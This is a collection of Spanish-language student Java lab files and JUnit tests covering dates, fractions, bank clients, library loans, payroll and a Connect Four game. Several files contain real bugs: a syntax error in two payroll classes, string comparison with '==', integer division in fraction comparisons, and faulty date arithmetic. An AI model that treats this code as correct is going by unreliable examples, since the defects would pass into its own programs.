assertEquals(c1.obtenerSaldo("A100"),75,0.1);
o2.realizarOperacion();
c2=lc1.buscarClientePorId(0);
assertEquals(c2.obtenerSaldo("Z100"),1000,0.1);
}
}
<file_sep>/lab7/src/packlaboratorio7/CursoBaile.java
package packlaboratorio7;
public class CursoBaile
{
// atributos
private ListaAlumnosCurso lista;
private static CursoBaile miCursoBaile;
// constructora
private CursoBaile()
{
this.lista=ListaAlumnosCurso.getListaAlumnosCurso();
}
// metodos
public static CursoBaile getCursoBaile()
{
if (miCursoBaile==null)
{
CursoBaile.miCursoBaile=new CursoBaile();
System.out.println("Creada la unica instancia del Curso de Baile");
}
else
{
System.out.println("Se ha devuelto la unica instancia del Curso de Baile");
}
return CursoBaile.miCursoBaile;
}
public void darDeAltaPareja(String pDNI1, String pDNI2)
{
ListaAlumnosCurso listaCurso=ListaAlumnosCurso.getListaAlumnosCurso();
Alumno Alumno1=listaCurso.buscarAlumnoPorDNI(pDNI1);
Alumno Alumno2=listaCurso.buscarAlumnoPorDNI(pDNI2);
if(Alumno1!=null)
{
if (Alumno2!=null)
{
new Pareja(Alumno1, Alumno2);
}
else
{
System.out.println("No hay ningun alumno con ese DNI");
}
}
else
{
System.out.println("No hay ningun alumno con ese DNI");
}
}
public void darDeAltaAlumno(String pDNI, String pNombre, String pApellido, int pEdad, char pSexo)
{
if (pSexo=='h' || pSexo=='H')
{
new Hombre(pDNI, pNombre, pApellido, pEdad);
System.out.println("Se ha creado un nuevo hombre con exito");
}
else if (pSexo=='m' || pSexo=='M')
{
new Mujer(pDNI, pNombre, pApellido, pEdad);
System.out.println("Se ha creado una nueva mujer con exito");
}
else
{
System.out.println("El sexo elegido no es correcto");
}
}
public void anadirPreferencia(String pIdQuien, String pIdSuPreferencia)
{
ListaAlumnosCurso lista=ListaAlumnosCurso.getListaAlumnosCurso();
Alumno AlumnoA = lista.buscarAlumnoPorDNI(pIdQuien);
Alumno AlumnoB = lista.buscarAlumnoPorDNI(pIdSuPreferencia);
AlumnoA.getListaPreferencias().anadirAlumno(AlumnoB);
}
public void empezarCurso()
{
this.lista.resetear();
}
public void ajustarParejasSegunPreferencias()
{
}
}
<file_sep>/PMOO_CONECTA4_FINAL/src/Ranking.java
import java.util.ArrayList;
public class Ranking {
private ListaJugadores jugadores;
public static Ranking miRanking;
/**
* Constructor Ranking
*/
private Ranking() {
this.jugadores=new ListaJugadores();
}
/**
* Máquina Abstracta de Estados de puntuaciones de jugadores
* @return Ranking de los jugadores que han participado
*/
public static Ranking getMiRanking() {
if(Ranking.miRanking==null) {
Ranking.miRanking=new Ranking();
}
return Ranking.miRanking;
}
/**
* Dado un jugador, obtiene su nombre
* @param pNombre Nombre del jugador
* @return Jugador específico
*/
public Jugador getJugador(String pNombre) {
return this.jugadores.getJugador(pNombre);
}
/**
* Asigna a un jugador específico una puntuación específica y lo modifica en el ranking
* @param pPuntuacion Puntuación a asignar en el ranking
* @param pJugador Jugador que se modifica en el ranking
*/
public void setPuntuacion(int pPuntuacion, Jugador pJugador) {
jugadores.setPuntuacion(pJugador, pPuntuacion);
}
/**
* Agrega un jugador al listado
* @param pJugador Jugador al que agregar
*/
public void anadirJugador(Persona pJugador) {
jugadores.anadirJugador(pJugador);
}
/**
* Elimina un jugador de la lista
* @param pJugador Jugador a eliminar
*/
public void eliminarJugador(Persona pJugador) {
jugadores.eliminarJugador(pJugador);
}
/**
* Con finalidad de volcado de datos, devuelve ArrayList con todos los datos de todos los jugadores
* @return Listado de jugadores
*/
public ArrayList<Persona> getScoreboardJugadores() {
return this.jugadores.getScoreboardJugadores();
}
}
<file_sep>/lab3/src/lab3/Fecha.java
package packlaboratorio3;
import java.util.Calendar;
import java.util.GregorianCalendar;
public class Fecha implements IFecha
{
//atributos
private int dia;
private int mes;
private int annio;
//constructoras
public Fecha(int pDia, int pMes, int pAnnio)
{
this.dia = pDia;
this.mes = pMes;
this.annio = pAnnio;
if (!this.esCorrecta())
{
Calendar c = new GregorianCalendar();
this.dia = c.get(Calendar.DATE); // los dias empiezan a contar desde uno, pero
this.mes = c.get(Calendar.MONTH) +1; // los meses empiezan a contar desde cero
this.annio = c.get(Calendar.YEAR);
}
}
//otros métodos
@Override
public String toString()
{
String strDia = String.format("%02d", this.dia);
String strMes = String.format("%02d", this.mes);
String strAnnio = String.format("%04d", this.annio);
return strDia + "/" + strMes + "/" + strAnnio;
}
private boolean esCorrecta()
{
boolean es=false;
if ((this.annio>0)&&(this.mes<=12)&&(this.mes>=1)){
if(((this.mes==1)||(this.mes==3)||(this.mes==5)||(this.mes==7)||(this.mes==8)||(this.mes==10)||(this.mes==12))&&(this.dia<=31)){
es=true;
}
else if(((this.mes==4)||(this.mes==6)||(this.mes==9)||(this.mes==11))&&(this.dia<=30)){
es=true;
}
else if(((this.annio % 4 == 0)&&((this.annio % 100 !=0)||(this.annio % 400 == 0)))&&(this.dia<=29)){
es=true;
}
else if(!((this.annio % 4 == 0)&&(this.annio % 100 !=0)||(this.annio % 400 == 0))&&(this.dia<=28)){
es=true;
}
}
return es;
}
@Override
public void incrementar() {
if(((this.mes==1)||(this.mes==3)||(this.mes==5)||(this.mes==7)||(this.mes==8)||(this.mes==10)||(this.mes==12))&&(this.dia<31)){
this.dia=this.dia+1;
}
else if(((this.mes==1)||(this.mes==3)||(this.mes==5)||(this.mes==7)||(this.mes==8)||(this.mes==10))&&(this.dia==31)){
this.dia=1;
this.mes=this.mes+1;
}
else if((this.mes==12)&&(this.dia==31)){
this.dia=1;
this.mes=1;
this.annio=this.annio+1;
}
else if(((this.mes==4)||(this.mes==6)||(this.mes==9)||(this.mes==11))&&(this.dia<30)){
this.dia=this.dia+1;
}
else if(((this.mes==4)||(this.mes==6)||(this.mes==9)||(this.mes==11))&&(this.dia==30)){
this.dia=1;
this.mes=this.mes+1;
}
else if(((this.mes==2)&&((this.annio % 4 == 0)&&((this.annio % 100 !=0)||(this.annio % 400 == 0))))&&(this.dia<29)){
this.dia=this.dia+1;
}
else if(((this.mes==2)&&((this.annio % 4 == 0)&&((this.annio % 100 !=0)||(this.annio % 400 == 0))))&&(this.dia==29)){
this.dia=1;
this.mes=3;
}
else if(((this.mes==2)&&!((this.annio % 4 == 0)&&((this.annio % 100 !=0)||(this.annio % 400 == 0))))&&(this.dia<28)){
this.dia=this.dia+1;
}
else {
this.dia=1;
this.mes=3;
}
}
@Override
public void decrementar() {
if(this.dia>1){
this.dia=this.dia-1;
}
else if((this.mes==1)&&(this.dia==1)){
this.mes=12;
this.dia=31;
this.annio=this.annio-1;
}
else if((this.dia==1)&&(this.mes==2||this.mes==4||this.mes==6||this.mes==8||this.mes==9||this.mes==11)){
this.mes=this.mes-1;
this.dia=31;
}
else if((this.dia==1)&&(this.mes==5||this.mes==7||this.mes==10||this.mes==12)){
this.dia=30;
this.mes=this.mes-1;
}
else if((this.dia==1)&&(this.mes==3)&&(this.annio % 4 == 0)&&((this.annio % 100 !=0)||(this.annio % 400 == 0))){
this.mes=2;
this.dia=29;
}
else if((this.dia==1)&&(this.mes==3)&&(this.annio % 4 != 0)&&((this.annio % 100 !=0)||(this.annio % 400 == 0))){
this.mes=this.mes-1;
this.dia=28;
}
}
}
<file_sep>/lab3/src/lab3/IFraccion.java
package lab3;
public interface IFraccion
{
public abstract int getNumerador();
public abstract int getDenominador();
public abstract void simplificar();
public abstract Fraccion sumar (Fraccion pFraccion);
public abstract Fraccion restar (Fraccion pFraccion);
public abstract Fraccion multiplicar (Fraccion pFraccion);
public abstract Fraccion dividir (Fraccion pFraccion);
public abstract boolean esIgualQue(Fraccion pFraccion);
public abstract boolean esMayorQue(Fraccion pFraccion);
public abstract boolean esMenorQue(Fraccion pFraccion);
}
<file_sep>/lab7/src/packlaboratorio7/ListaAlumnos.java
package packlaboratorio7;
import java.util.*;
public class ListaAlumnos
{
// atributos
private ArrayList<Alumno> lista;
// constructora
public ListaAlumnos()
{
this.lista=new ArrayList<Alumno>();
}
//metodos
public void anadirAlumno(Alumno pAlumno)
{
this.lista.add(pAlumno);
}
public void retirarAlumno(Alumno pAlumno)
{
this.lista.remove(pAlumno);
}
public int obtenerNumeroAlumnos()
{
return this.lista.size();
}
public Alumno getAlumnoEnPos(int pPos)
{
return this.lista.get(pPos);
}
public boolean esta(Alumno pAlumno)
{
return this.lista.contains(pAlumno);
}
}
<file_sep>/lab4/src/packlaboratorio4/ListaClientes.java
package packlaboratorio4;
import java.util.ArrayList;
import java.util.Iterator;
public class ListaClientes
{
// atributos
private ArrayList<Cliente> lista;
private static ListaClientes miListaClientes=null;
// constructora
private ListaClientes() //La constructora es privada ya que sigue el patron singelton
{
this.lista = new ArrayList<Cliente>();
}
// otros metodos
public static ListaClientes getListaClientes()
{
if (ListaClientes.miListaClientes==null)
{
ListaClientes.miListaClientes = new ListaClientes();
}
return ListaClientes.miListaClientes;
}
private Iterator<Cliente> getIterador()
{
return this.lista.iterator();
}
public int cantidadClientes()
{
return this.lista.size();
}
public void anadirCliente(int pIdCliente, String pNombre, String pClave, double pSaldo, boolean pEsPreferente)
{
Cliente cl=new Cliente(pIdCliente,pNombre,pClave,pSaldo,pEsPreferente);
this.lista.add(cl);
}
public Cliente buscarClientePorId(int pId)
{
boolean encontrado=false;
Cliente unCliente=null;
Iterator<Cliente> itr=this.getIterador();
while (itr.hasNext() && !encontrado)
{
unCliente=itr.next();
if (unCliente.tieneMismoId(pId))
{
encontrado=true;
System.out.println("Cliente detectado");
}
}
if (!encontrado)
{
unCliente=null;
System.out.println("Cliente no detectado");
}
return unCliente;
}
public void resetear()
{
this.lista=new ArrayList<Cliente>();
}
}
<file_sep>/lab3/src/lab3/Fraccion.java
package lab3;
public class Fraccion implements IFraccion
{
//Atributos
private int numerador;
private int denominador;
//Constructoras
public Fraccion(int pNumerador, int pDenominador)
{
if (pDenominador!=0)
{
this.numerador=pNumerador;
this.denominador=pDenominador;
}
else
{
System.out.println("No se puede crear una fraccion con denominador cero...");
}
}
public int getNumerador()
{
return this.numerador;
}
public int getDenominador()
{
return this.denominador;
}
private int mcd()
{
int n=this.numerador;
int d=this.denominador;
int rest=1;
while (rest!=0)
{
rest=n%d;
n=d;
d=rest;
}
return n;
}
public void simplificar()
{
int mcd=this.mcd();
this.numerador=this.numerador/mcd;
this.denominador=this.denominador/mcd;
if(this.denominador<0)
{
this.denominador=this.denominador*-1;
this.numerador=this.numerador*-1;
}
}
public Fraccion sumar(Fraccion pFraccion)
{
Fraccion suma = new Fraccion(0,0);
suma.numerador=this.numerador*pFraccion.denominador + this.denominador*pFraccion.numerador;
suma.denominador=this.denominador*pFraccion.denominador;
suma.simplificar();
//String r;
//String strNum =String.format("%01d", suma.numerador);
//String strDen =String.format("%01d", suma.denominador);
//r = strNum + "/" + strDen;
//System.out.println(r);
return suma;
}
public Fraccion restar(Fraccion pFraccion)
{
Fraccion resta = new Fraccion(0,0);
resta.numerador=this.numerador*pFraccion.denominador - this.denominador*pFraccion.numerador;
resta.denominador=this.denominador*pFraccion.denominador;
resta.simplificar();
String r;
String strNum =String.format("%01d", resta.numerador);
String strDen =String.format("%01d", resta.denominador);
r = strNum + "/" + strDen;
System.out.println(r);
return resta;
}
public Fraccion multiplicar(Fraccion pFraccion)
{
Fraccion multi = new Fraccion(0,0);
multi.numerador=this.numerador*pFraccion.numerador;
multi.denominador=this.denominador*pFraccion.denominador;
multi.simplificar();
return multi;
}
public Fraccion dividir(Fraccion pFraccion)
{
Fraccion div = new Fraccion(0,0);
div.numerador=this.numerador*pFraccion.denominador;
div.denominador=this.denominador*pFraccion.numerador;
div.simplificar();
return div;
}
public boolean esIgualQue(Fraccion pFraccion)
{
boolean igual=false;
int a1=this.numerador;
int b1=pFraccion.numerador;
int a2=this.denominador;
int b2=pFraccion.denominador;
if (a1==b1 && a2==b2)
{
igual=true;
}
return igual;
}
public boolean esMayorQue(Fraccion pFraccion)
{
boolean mayor=false;
double a=this.numerador/this.denominador;
double b=pFraccion.numerador/pFraccion.denominador;
if (a>b)
{
mayor=true;
}
return mayor;
}
public boolean esMenorQue(Fraccion pFraccion)
{
boolean mayor=false;
double a=this.numerador/this.denominador;
double b=pFraccion.numerador/pFraccion.denominador;
if (a<b)
{
mayor=true;
}
return mayor;
}
}
<file_sep>/lab1/src/lab1/Persona.java
package lab1;
public class Persona {
//atributos
private int idPersona;
private String grupoSanguineo;
private String nacionalidad;
private String nombreCompleto;
private int edad;
//contructora
public Persona(int pID, String pNac, String pGrupoSang, String pNomCom, int pEdad)
{
this.idPersona=pID;
this.grupoSanguineo=pGrupoSang;
this.nacionalidad=pNac;
this.nombreCompleto=pNomCom;
this.edad=pEdad;
}
//metodos
public boolean tieneMismaID(Persona pPersona)
{
boolean igual=false;
if (this.idPersona==pPersona.idPersona)
{
igual=true;
}
return igual;
}
public boolean puedeConducir()
{
boolean mayoredad;
mayoredad=false;
if (this.nacionalidad=="Etiopia")
{
if (this.edad>=14)
{
mayoredad=true;
}
}
else if (this.nacionalidad=="Australiana" || this.nacionalidad=="Estadounidense")
{
if (this.edad>=16)
{
mayoredad=true;
}
}
else if (this.nacionalidad=="Britanico")
{
if (this.edad>=17)
{
mayoredad=true;
}
}
else
{
if (this.edad>=18)
{
mayoredad=true;
}
}
return mayoredad;
}
public char inicialNombre()
{
char inicial;
inicial = this.nombreCompleto.charAt(0);
return inicial;
}
public char inicialApellido()
{
char inicial;
inicial=' ';
int cont;
cont=this.nombreCompleto.length()-1;
boolean salir=false;
while (!salir)
{
if (this.nombreCompleto.charAt(cont)==' ')
{
salir=true;
cont=cont+1;
inicial = this.nombreCompleto.charAt(cont);
}
else
{
cont=cont-1;
}
}
return inicial;
}
public boolean puedeDonarleSangre(Persona pPersona)
{
boolean puede=false;
int last=pPersona.grupoSanguineo.length()-1;
if (this.grupoSanguineo=="0+")
{
if(pPersona.grupoSanguineo.charAt(last)=='+')
{
puede=true;
}
}
if (this.grupoSanguineo=="0-")
{
puede=true;
}
if (this.grupoSanguineo=="A+")
{
if(pPersona.grupoSanguineo.charAt(0)=='A')
{
if(pPersona.grupoSanguineo.charAt(last)=='+')
{
puede=true;
}
}
}
if (this.grupoSanguineo=="A-")
{
if(pPersona.grupoSanguineo.charAt(0)=='A')
{
puede=true;
}
}
if (this.grupoSanguineo=="B+")
{
if(pPersona.grupoSanguineo.charAt(0)=='B' || pPersona.grupoSanguineo.charAt(1)=='B')
{
if(pPersona.grupoSanguineo.charAt(last)=='+')
{
puede=true;
}
}
}
if (this.grupoSanguineo=="B-")
{
if(pPersona.grupoSanguineo.charAt(0)=='B' || pPersona.grupoSanguineo.charAt(1)=='B')
{
puede=true;
}
}
if (this.grupoSanguineo=="AB+")
{
if(pPersona.grupoSanguineo=="AB+")
{
puede=true;
}
}
if (this.grupoSanguineo=="AB-")
{
if (pPersona.grupoSanguineo.charAt(0)=='A' && pPersona.grupoSanguineo.charAt(1)=='B')
{
puede=true;
}
}
return puede;
}
}
<file_sep>/lab6/src/packlaboratorio6/ConceptoComplementoCargo.java
package packlaboratorio6;
public class ConceptoComplementoCargo extends ConceptoComplemento
{
//atributos
//constructora
public ConceptoComplementoCargo()
{
}
//metodos
public double calcularConcepto(double pCantidadBruta, int pNumeroDeHoras, int pAnosTrabajados)
{
pCantidadBruta=pCantidadBruta - (pCantidadBruta*0.05);
pCantidadBruta=pCantidadBruta - 20;
return super.calcularConcepto(pCantidadBruta, pNumeroDeHoras, int pAnosTrabajados);
}
}
<file_sep>/lab6/src/packlaboratorio6/Empresa.java
package packlaboratorio6;
public class Empresa
{
//atributo
private ListaEmpleados lista;
private static Empresa miEmpresa;
//contructora
private Empresa()
{
this.lista=new ListaEmpleados();
}
//metodos
public static Empresa getEmpresa()
{
if (Empresa.miEmpresa==null)
{
Empresa.miEmpresa=new Empresa();
}
return Empresa.miEmpresa;
}
public double obtenerDiferenciaMáxima()
{
return this.lista.obtenerDiferenciaMáxima();
}
}<file_sep>/lab5/pruebas/packlaboratorio4/ListaUsuariosTest.java
package packlaboratorio4;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import junit.framework.TestCase;
import packlaboratorio5.Libro;
import packlaboratorio5.ListaUsuarios;
import packlaboratorio5.Usuario;
public class ListaUsuariosTest extends TestCase
{
private Usuario u1;
private Usuario u2;
private Usuario u3;
private Libro l1;
private Libro l2;
private Libro l3;
@Before
public void setUp()
{
u1 = new Usuario("<NAME>",1);
u2 = new Usuario("<NAME>",2);
u3 = new Usuario("<NAME>",3);
l1=new Libro("Cumbres borrascosas","<NAME>",1);
l2=new Libro("Sentido y sensibilidad","<NAME>",2);
l3 =new Libro("El hobbit", "JRR Tolkien",3);
}
@After
public void tearDown()
{
u1 = null;
u2 = null;
u3 = null;
ListaUsuarios.getListaUsuarios().resetear();
}
@Test
public void testGetListaUsuarios()
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
assertEquals(ListaUsuarios.getListaUsuarios(),LU);
}
@Test
public void testBuscarUsuarioPorId()
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
LU.darDeAltaUsuario(u1);
LU.darDeAltaUsuario(u2);
LU.darDeAltaUsuario(u3);
assertEquals(LU.buscarUsuarioPorId(1),u1);
assertEquals(LU.buscarUsuarioPorId(2),u2);
assertEquals(LU.buscarUsuarioPorId(3),u3);
}
@Test
public void testExisteUsuarioConMismoId()
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
LU.darDeAltaUsuario(u1);
LU.darDeAltaUsuario(u2);
assertTrue(LU.existeUnUsuarioConMismoId(u1));
assertTrue(LU.existeUnUsuarioConMismoId(u2));
assertFalse(LU.existeUnUsuarioConMismoId(u3));
}
@Test
public void testAnadirYdarDeBajaUsuarioYResetear()
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
LU.darDeAltaUsuario(u1);
assertEquals(LU.obtenerNumUsuarios(),1);
LU.resetear();
assertEquals(LU.obtenerNumUsuarios(),0);
}
@Test
public void testDarAltaYBajaUsuarioYEsta()
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
LU.darDeAltaUsuario(u1);
assertEquals(LU.obtenerNumUsuarios(),1);
LU.darDeBajaUsuario(1);
assertEquals(LU.obtenerNumUsuarios(),0);
}
@Test
public void testQuienLoTienePrestado()
{
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
LU.darDeAltaUsuario(u1);
u1.anadirLibro(l1);
assertEquals(LU.quienLoTienePrestado(l1),u1);
}
@Test
public void testImprimir()
{
assertNotNull(ListaUsuarios.getListaUsuarios());
u1.anadirLibro(l1);
u3.anadirLibro(l2);
u3.anadirLibro(l3);
ListaUsuarios.getListaUsuarios().darDeAltaUsuario(u1);
ListaUsuarios.getListaUsuarios().darDeAltaUsuario(u2);
ListaUsuarios.getListaUsuarios().darDeAltaUsuario(u3);
System.out.println("\n===============================================================");
System.out.println("\nCaso de prueba del método imprimir de la clase ListaUsuarios");
System.out.println("\nLa información de la lista de usuarios debería mostrarse de este modo:\n");
System.out.println("Hay un total de 3 usuarios.");
System.out.println("ID: 1: <NAME>");
System.out.println("---> Tiene el siguiente título en préstamo:");
System.out.println("* Cumbres borrascosas, escrito por <NAME>.");
System.out.println("ID: 2: <NAME>");
System.out.println("---> No tiene libros en préstamo.");
System.out.println("ID: 3: <NAME>");
System.out.println("---> Tiene los siguientes 2 títulos en préstamo:");
System.out.println("* Sentido y sensibilidad, escrito por J<NAME>.");
System.out.println("* El hobbit, escrito por JRR Tolkien.");
System.out.println("\nY tu programa lo muestra de este modo:");
ListaUsuarios.getListaUsuarios().imprimir();
System.out.println("\n===============================================================");
ListaUsuarios.getListaUsuarios().darDeBajaUsuario(1);
ListaUsuarios.getListaUsuarios().darDeBajaUsuario(2);
ListaUsuarios.getListaUsuarios().darDeBajaUsuario(3);
assertEquals(0,ListaUsuarios.getListaUsuarios().obtenerNumUsuarios());
}
}
<file_sep>/lab6/src/packlaboratorio6/ConceptoComplemento.java
package packlaboratorio6;
public abstract class ConceptoComplemento extends ConceptoRetencion
{
//atributos
//constructora
public ConceptoComplemento()
{
}
//metodos
}
<file_sep>/lab6/src/packlaboratorio6/ConceptoComplementoDestino.java
package packlaboratorio6;
public class ConceptoComplementoDestino extends ConceptoComplemento
{
//atributos
//constructora
public ConceptoComplementoDestino()
{
}
//metodos
public double calcularConcepto(double pCantidadBruta, int pNumeroDeHoras, int pAnosTrabajados)
{
pCantidadBruta=pCantidadBruta - (pCantidadBruta*0.05);
pCantidadBruta=pCantidadBruta - 50;
return super.calcularConcepto(pCantidadBruta, pNumeroDeHoras, int pAnosTrabajados);
}
}
<file_sep>/lab5/pruebas/packlaboratorio4/CatalogoTest.java
package packlaboratorio4;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import junit.framework.TestCase;
import packlaboratorio5.Catalogo;
import packlaboratorio5.Libro;
import packlaboratorio5.ListaUsuarios;
import packlaboratorio5.Usuario;
public class CatalogoTest extends TestCase
{
private Libro l1;
private Libro l2;
private Libro l3;
private Libro l4;
private Usuario e1;
private Usuario e2;
@Before
public void setUp()
{
l1 = new Libro("Construcción de software orientado a objetos", "<NAME>",1);
l2 = new Libro("Cien años de soledad", "<NAME>",2);
l3 = new Libro("El hobbit", "JRR Tolkien",3);
l4= new Libro("El perfume", "<NAME>",4);
e1=new Usuario("<NAME>", 1);
e2=new Usuario("<NAME>", 2);
Catalogo.getCatalogo().catalogarLibro(l1);
Catalogo.getCatalogo().catalogarLibro(l2);
Catalogo.getCatalogo().catalogarLibro(l3);
ListaUsuarios.getListaUsuarios().resetear();
}
@After
public void tearDown()
{
l1 = null;
l2 = null;
l3 = null;
l4 = null;
e1=null;
e2=null;
Catalogo.getCatalogo().resetear();
}
@Test
public void testGetCatalogo()
{
Catalogo CA=Catalogo.getCatalogo();
assertEquals(Catalogo.getCatalogo(),CA);
}
@Test
public void testBuscarLibroPorId()
{
Catalogo CA=Catalogo.getCatalogo();
assertEquals(CA.buscarLibroPorId(1),l1);
}
@Test
public void testCatalogarYDescatalogarLibroYResetear()
{
Catalogo CA=Catalogo.getCatalogo();
CA.catalogarLibro(l4);
assertEquals(CA.buscarLibroPorId(4),l4);
CA.descatalogarLibro(4);
assertEquals(CA.buscarLibroPorId(4),null);
CA.resetear();
assertEquals(CA.buscarLibroPorId(4),null);
}
@Test
public void testPrestarYDevolverLibro()
{
Catalogo CA=Catalogo.getCatalogo();
ListaUsuarios LU=ListaUsuarios.getListaUsuarios();
CA.catalogarLibro(l1);
CA.catalogarLibro(l2);
LU.darDeAltaUsuario(e1);
LU.darDeAltaUsuario(e2);
CA.devolverLibro(1);
CA.prestarLibro(1, 1);
assertTrue(e1.loTieneEnPrestamo(l1));
assertFalse(e1.loTieneEnPrestamo(l2));
assertFalse(e2.loTieneEnPrestamo(l1));
assertFalse(e2.loTieneEnPrestamo(l2));
CA.prestarLibro(1, 2);
assertTrue(e1.loTieneEnPrestamo(l1));
assertFalse(e1.loTieneEnPrestamo(l2));
assertFalse(e2.loTieneEnPrestamo(l1));
assertFalse(e2.loTieneEnPrestamo(l2));
CA.prestarLibro(2, 1);
assertTrue(e1.loTieneEnPrestamo(l1));
assertTrue(e1.loTieneEnPrestamo(l2));
assertFalse(e2.loTieneEnPrestamo(l1));
assertFalse(e2.loTieneEnPrestamo(l2));
CA.prestarLibro(2, 2);
assertTrue(e1.loTieneEnPrestamo(l1));
assertTrue(e1.loTieneEnPrestamo(l2));
assertFalse(e2.loTieneEnPrestamo(l1));
assertFalse(e2.loTieneEnPrestamo(l2));
CA.devolverLibro(1);
assertFalse(e1.loTieneEnPrestamo(l1));
assertTrue(e1.loTieneEnPrestamo(l2));
assertFalse(e2.loTieneEnPrestamo(l1));
assertFalse(e2.loTieneEnPrestamo(l2));
CA.prestarLibro(1, 2);
assertFalse(e1.loTieneEnPrestamo(l1));
assertTrue(e1.loTieneEnPrestamo(l2));
assertTrue(e2.loTieneEnPrestamo(l1));
assertFalse(e2.loTieneEnPrestamo(l2));
}
@Test
public void testimprimir()
{
assertEquals(3,Catalogo.getCatalogo().obtenerNumLibros());
System.out.println("\n===============================================================");
System.out.println("\nCaso de prueba del método imprimir de la clase Catalogo");
System.out.println("\nLa información de la lista de usuarios debería mostrarse de este modo:\n");
System.out.println("El catálogo tiene un total de 3 títulos.");
System.out.println("* Construcción de software orientado a objetos, escrito por <NAME>.");
System.out.println("* Cien años de soledad, escrito por <NAME>.");
System.out.println("* El hobbit, escrito por JRR Tolkien.");
System.out.println("\nY tu programa lo muestra de este modo:");
Catalogo.getCatalogo().imprimir();
System.out.println("\n===============================================================");
Catalogo.getCatalogo().descatalogarLibro(1);
Catalogo.getCatalogo().descatalogarLibro(2);
Catalogo.getCatalogo().descatalogarLibro(3);
Catalogo.getCatalogo().descatalogarLibro(4);
assertEquals(0,Catalogo.getCatalogo().obtenerNumLibros());
}
}
<file_sep>/lab6/src/packlaboratorio6/ConceptoRetencion.java
package packlaboratorio6;
public abstract class ConceptoRetencion extends Concepto
{
//atributo
//contructora
public ConceptoRetencion()
{
}
}
<file_sep>/PMOO_CONECTA4_FINAL/test/TableroTest.java
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class TableroTest {
Casilla u1;
Jugador p1,p2;
@Before
public void setUp() throws Exception {
p1=new Jugador("Jose");
p2=new Jugador("Maria");
u1=new Casilla(/*false,p1,'0'*/);
}
@After
public void tearDown() throws Exception {
p1=null;
p2=null;
u1=null;
Tablero.getTablero().resetear();
}
@Test
public void testGetTablero() {
assertNotNull(Tablero.getTablero());
}
//@Test
/*public void testOcupado() {
assertFalse(Tablero.getTablero().ocupado());
}*/
@Test
public void testImprimir(){
Tablero.getTablero().imprimirTablero();
}
@Test
public void testOcuparCasilla() {
Tablero.getTablero().ocuparCasilla(p1, 2);
Tablero.getTablero().ocuparCasilla(p1, 2);
Tablero.getTablero().ocuparCasilla(p1, 2);
assertFalse(Tablero.getTablero().hayGanador());
Tablero.getTablero().ocuparCasilla(p1, 2);
assertTrue(Tablero.getTablero().hayGanador());
}
@Test
public void testHayGanador() {
assertFalse(Tablero.getTablero().hayGanador());
Tablero.getTablero().ocuparCasilla(p1, 4);
Tablero.getTablero().ocuparCasilla(p1, 4);
Tablero.getTablero().ocuparCasilla(p1, 4);
Tablero.getTablero().ocuparCasilla(p1, 4);
assertTrue(Tablero.getTablero().hayGanador());
Tablero.getTablero().resetear();
}
@Test
public void testBuscarGanadorHorizontal() {
assertFalse(Tablero.getTablero().buscarGanadorHorizontal());
Tablero.getTablero().ocuparCasilla(p1, 4);
assertFalse(Tablero.getTablero().buscarGanadorHorizontal());
Tablero.getTablero().ocuparCasilla(p1, 5);
assertFalse(Tablero.getTablero().buscarGanadorHorizontal());
Tablero.getTablero().ocuparCasilla(p1, 6);
assertFalse(Tablero.getTablero().buscarGanadorHorizontal());
Tablero.getTablero().ocuparCasilla(p1, 7);
assertTrue(Tablero.getTablero().buscarGanadorHorizontal());
Tablero.getTablero().resetear();
}
@Test
public void testBuscarGanadorVertical() {
assertFalse(Tablero.getTablero().buscarGanadorVertical());
Tablero.getTablero().ocuparCasilla(p1, 4);
assertFalse(Tablero.getTablero().buscarGanadorVertical());
Tablero.getTablero().ocuparCasilla(p1, 4);
assertFalse(Tablero.getTablero().buscarGanadorVertical());
Tablero.getTablero().ocuparCasilla(p1, 4);
assertFalse(Tablero.getTablero().buscarGanadorVertical());
Tablero.getTablero().ocuparCasilla(p1, 4);
assertTrue(Tablero.getTablero().buscarGanadorVertical());
Tablero.getTablero().resetear();
}
@Test
public void testBuscarGanadorDiagonal() {
assertFalse(Tablero.getTablero().buscarGanadorDiagonal());
Tablero.getTablero().ocuparCasilla(p1, 4);
assertFalse(Tablero.getTablero().buscarGanadorDiagonal());
Tablero.getTablero().ocuparCasilla(p1, 5);
Tablero.getTablero().ocuparCasilla(p1, 5);
assertFalse(Tablero.getTablero().buscarGanadorDiagonal());
Tablero.getTablero().ocuparCasilla(p1, 6);
Tablero.getTablero().ocuparCasilla(p1, 6);
Tablero.getTablero().ocuparCasilla(p1, 6);
assertFalse(Tablero.getTablero().buscarGanadorDiagonal());
Tablero.getTablero().ocuparCasilla(p1, 7);
Tablero.getTablero().ocuparCasilla(p1, 7);
Tablero.getTablero().ocuparCasilla(p1, 7);
Tablero.getTablero().ocuparCasilla(p1, 7);
assertTrue(Tablero.getTablero().buscarGanadorDiagonal());
Tablero.getTablero().resetear();
}
@Test
public void testResetear() {
Tablero.getTablero().resetear();
}
}
<file_sep>/lab5/pruebas/packlaboratorio4/UsuarioTest.java
package packlaboratorio4;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import junit.framework.TestCase;
import packlaboratorio5.Libro;
import packlaboratorio5.Usuario;
public class UsuarioTest extends TestCase
{
Usuario usuario1, usuario2, usuario3;
Libro l1,l2,l3,l4;
Libro l5,l6,l7,l8;
@Before
public void setUp()
{
usuario1= new Usuario("<NAME>",1099);
usuario2= new Usuario("<NAME>",2);
usuario3= new Usuario("<NAME>",1099);
l1=new Libro("El Cuaderno Dorado", "<NAME>",1);
l2=new Libro("Rayuela", "<NAME>",2);
l3=new Libro("Paula", "<NAME>",3);
l4=new Libro("La sonrisa Etrusca", "Sampedro",4);
}
@After
public void tearDown() {
usuario1=null;
usuario2=null;
usuario3=null;
l1=null;
l2=null;
l3=null;
l4=null;
}
@Test
public void testUsuario()
{
assertNotNull(usuario1);
assertNotNull(usuario2);
assertNotNull(usuario3);
assertNotNull(l1);
assertNotNull(l2);
assertNotNull(l3);
assertNotNull(l4);
}
@Test
public void testHaAlcanzadoElMaximo()
{
usuario1.anadirLibro(l1);
usuario1.anadirLibro(l2); //Maximo
usuario1.anadirLibro(l3);
